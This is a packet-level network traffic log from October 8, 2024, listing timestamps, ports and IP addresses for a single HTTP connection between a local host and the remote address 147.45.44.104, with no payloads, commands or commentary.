Oct 8, 2024 03:30:55.393587112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393605947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393635035 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.393778086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393821955 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.393980980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395435095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395451069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395466089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395482063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395490885 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395503998 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395637035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395662069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395677090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395684004 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395694017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395709991 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395723104 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395728111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395744085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395747900 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395761013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395776987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395780087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395792961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395809889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395811081 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395827055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395843983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395847082 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395862103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395879030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395881891 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395895958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395911932 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395915031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.395930052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.395947933 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.404423952 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.481235981 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481261015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481277943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481307030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481323957 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481337070 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.481342077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481360912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481379986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481425047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.481425047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.481425047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.481725931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481755972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481770039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481806040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.481874943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481904030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481920958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481921911 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.481939077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481956005 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481967926 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.481971979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.481997967 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482000113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482017040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482033968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482039928 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482050896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482068062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482073069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482088089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482105970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482166052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482203960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482209921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482227087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482261896 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482311010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482326984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482342005 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482357979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482368946 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482400894 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482462883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482479095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482494116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482512951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482516050 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482530117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482546091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482547998 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482563972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482580900 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482624054 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482640982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482656002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482669115 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482672930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482690096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482697010 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482706070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482722998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482728004 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482760906 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482784986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482800961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482816935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482834101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482844114 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482856989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482872009 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.482949972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482965946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482983112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.482990026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483000040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483016014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483022928 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483032942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483050108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483058929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483067989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483087063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483089924 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483114958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483127117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483131886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483171940 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483196974 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483213902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483228922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483243942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483258963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483262062 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483275890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483289003 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483293056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483318090 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483361006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483377934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483406067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483411074 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483453989 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483555079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483582020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483598948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483614922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483623981 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483632088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483647108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483655930 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483664036 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483680010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483688116 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483696938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483714104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483719110 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483730078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483745098 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483751059 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483762026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483783960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483789921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483805895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483820915 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483829021 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483858109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.483972073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.483988047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484002113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484021902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484023094 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484038115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484052896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484059095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484071016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484086990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484091043 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484102964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484117985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484123945 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484136105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484153032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484180927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484196901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484214067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484219074 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484222889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484249115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484253883 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484266043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484282970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484287977 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484298944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484314919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484321117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484330893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484345913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484350920 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484361887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484380007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484381914 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484416962 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484498978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484514952 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484529018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484545946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.484551907 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.484586000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.508467913 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.571981907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572043896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572063923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572082043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572114944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572132111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572139978 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572153091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572170019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572208881 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572324991 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572390079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572402954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572418928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572441101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572463989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572477102 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572490931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572508097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572515965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572516918 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572532892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572552919 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572565079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572582006 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572582960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572593927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572623014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572624922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572639942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572649956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572664976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572684050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572683096 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572700024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572709084 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572721004 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572738886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572743893 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572762966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572796106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572812080 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572829008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572844028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572871923 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572873116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572890997 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572906971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572925091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572937965 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.572942972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.572967052 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573019028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573035002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573050022 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573062897 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573065996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573081970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573091984 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573100090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573132992 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573187113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573203087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573218107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573232889 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573235035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573251963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573256969 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573297024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573302031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573313951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573332071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573348999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573364973 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573379040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573388100 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573395967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573414087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573438883 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573550940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573565960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573581934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573596954 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573601961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573618889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573632002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573637009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573654890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573662996 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573674917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573748112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573764086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573780060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573787928 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573788881 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573796988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573816061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573826075 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573833942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573852062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573870897 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573901892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.573935986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573952913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573967934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573990107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.573997021 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574006081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574023008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574034929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574040890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574062109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574069977 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574081898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574098110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574105978 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574114084 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574131966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574141026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.574172020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.574187040 CEST	80	49730	147.45.44.104	192.168.2.4
